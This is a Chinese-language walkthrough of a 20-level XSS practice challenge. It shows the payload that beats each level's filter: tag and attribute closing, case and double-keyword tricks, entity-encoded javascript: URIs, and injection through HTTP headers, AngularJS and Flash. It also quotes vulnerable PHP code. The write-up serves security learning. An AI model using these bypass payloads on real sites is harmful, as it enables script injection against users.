XSS挑戰


XSS挑戰

XSS挑戰的鏈接:https://xss.angelo.org.cn/

附一個XSS總結:https://wizardforcel.gitbooks.io/xss-naxienian/content/index.html

level 1

可以看到歡迎用戶test和URL里的參數name=test一致,推測name是注入點

?name=<script>alert(1)</script>

level 2

可以看到,asd被直接嵌入到了h2標簽里,嘗試閉合h2標簽然后插入script標簽

</h2><script>alert(1)</script>

在URL中看到,輸入的值被URL編碼了,然后想嘗試用實體編碼繞過,但是想起瀏覽器解析過程,數據只會被轉義但不會執行

這里注意到,輸入的值仍然保留在輸入框里

這是輸入框<input name="keyword" value="<script>alert(1)</script>">的代碼

嘗試閉合並alert

"><script>alert(1)</script>

level 3

這道題和上一題一樣,傳入的字符串都會返回到input框里

但是過濾了控制字符(雙引號,>,/)

隨手輸了個單引號,發現

猜測代碼用單引號閉合

' onclick='alert(1)'

level 4

上祖傳xss

發現過濾了<, >,想了下,能不用尖括號運行js代碼,需要用javascript:alert(1)或者直接alert(1),那么有兩種選擇,一個是onclick一個是src

" onclick="alert(1)

level 5

可以看到對script做了替換,嘗試了大小寫,不能繞過

嘗試onclick

發現仍然被過濾,input還剩下src和偽協議可以加載js代碼,

嘗試了" src="javascript:alert(1);,還是不可行

去看了input標簽的src的介紹,加載src的前提是input的type屬性為image,再次嘗試

asd" type="image" src="javascript:alert(1);

仍然失敗,在文檔里找到了說明,src必須是URL,而且URL會以圖像的方式解析,ie6才能解析img類標簽的src中的js偽協議

嘗試其他標簽,用了a標簽

asd"<a href="javascript:alert(1);">asd</a>

level 6

挨着試了一下,過濾了script,on,src和href

混合使用大小寫,通過

asd"><ScRipt>alert(1)</scRiPt>

level 7

用祖傳xss代碼試了下,去掉了script

雙寫即可

asd"><scrscriptipt>alert(1)</scrscriptipt>

level 8

可以看到直接把輸入放到了href里

直接用偽協議javascript:alert(1),發現script被過濾

使用大小寫混合,發現全部被替換成了小寫然后過濾

想起了解析過程

<a href="javascript:alert(1)">xss</a>會先調用HTML解析,然后調用URL解析,最后調用JS解析,那么可以使用HTML實體編碼繞過檢測

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)

level 9

使用偽協議,提示鏈接非法

通過嘗試,需要滿足http://URL的格式,而且輸入的值會被直接嵌入到href里,無法提前閉合標簽

那么考慮如何使用偽協議

構造http://&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)

但是這樣不可行,必須讓javascript放在前邊才能執行,嘗試

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert('http://')

level 10

現實發現URL里有keyword參數,但是keyword無法逃逸,因為使用了htmlspecialchars()函數(把特殊字符轉換為HTML實體)

在源碼里看到一個form表單,有三個input標簽,挨着嘗試,發現t_sort可控

構造t_sort=asd"> <script>alert(1)</script>"

發現<,>被過濾了,而且有type="hidden"

所以嘗試修改樣式為可見,用onclick事件彈窗

asd" onclick="alert(1)" type=button,點擊按鈕即可

level 11

這道題和上一道題一樣,都是有隱藏的form表單,挨個嘗試有無可控參數

可以看到t_sort參數是可控的,嘗試祖傳xss代碼">%20<script>alert(1)</script>"

發現傳入的參數直接無法閉合,使用單引號也一樣,看了源碼,使用了htmlspecialchars()函數

這里犯了個小錯誤,沒有抓住變化的點而是去循規蹈矩沿用之前的方法,忽略了新增的t_ref參數

上源碼(只留了關鍵部分)

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

可以看到使用了直接拼接的HTTP請求頭的HTTP_REFERER字段,那么在這個字段注入就可以了

Referer: asd" onclick="alert(1)" type="button

level 12

可以看到,多了t_ua參數,value是HTTP請求頭的UA值

那么,在UA注入就可以了

User-Agent: asd" onclick="alert(1)" type="button

level 13

多了t_cook參數,猜測是Cookie是注入點

在請求頭里可以看到有cookie字段,修改為Cookie: user=ad" onclick="alert(1)" type="button

level 14

這道題我進不去,看了wp,是用iframe加載了一個exifviewer(exif是照片的信息),然后在exif里邊注入

level 15

頁面顯示No input file specified.,看到URL有參數src,嘗試n多標簽都不行,去看了下源碼(精簡過)

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>// 加載了angularjs庫

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
// 用ng-include包含一個html文件
?>

這里的ng-include是angularjs的用法,相當於php的include,可以包含html(php)文件,所以調用其他關卡即可src='level1.php?name=<img src="" onerror="alert(1)">'注意這里必須要帶單引號,因為代碼中是沒有引號的

level 16

可以看到URL有可控參數keyword,並且keyword的值會顯示到<center>標簽里,使用祖傳xss代碼

發現script/被替換成了空格,

想到script是center標簽的data,可以用html編碼+URL編碼%26%2360%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2362%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B%26%2360%3B%26%2347%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2362%3B

失敗了,想了一下HTML解析過程,如果無法讀取到<和標簽名的話,是不會進入標簽解析狀態,也就是說,這樣編碼,解析引擎無法識別出這是標簽

想了下沒有/還可以用input標簽和img標簽,嘗試

發現過濾了空格,而且會自動補全標簽???

使用%0a代替空格

<img%0asrc=""%0aonerror="alert(1)">

level 17

可以看到,在embed標簽里,把URL的參數arg01和arg02拼接到了?的兩邊

可以嘗試用arg02閉合標簽並放置新標簽

"<img src="" onerror="alert(1)">

第一次嘗試,發現使用空格才能分隔屬性,而且會自動添加引號,於是修改為

" <img src="" onerror=alert(1)>

發現<被替換成了&lt;,考慮使用js事件

" onclick=alert(1)

emmmm,失敗了,大概是src優先級高於onclick??

但是我用自己嘗試了一下,其他標簽是沒有問題的。= = 迷惑

使用" onMouseMove=alert(1),鼠標移到flash上即可

level 18

參數和上一題一樣,先嘗試上一道題的payload

過了。。。

level 19,20

還是先試一下之前的payload

發現參數被拼接起來了(htmlspecialchars),無法用引號閉合

想了半天沒想出什么東西,去看了wp,發現要用到flash xss,大家可以去看這篇wp

level 19 payload

arg01=version&arg02=<a href="javascript:alert(1)">asd</a>

level 20 payload

arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM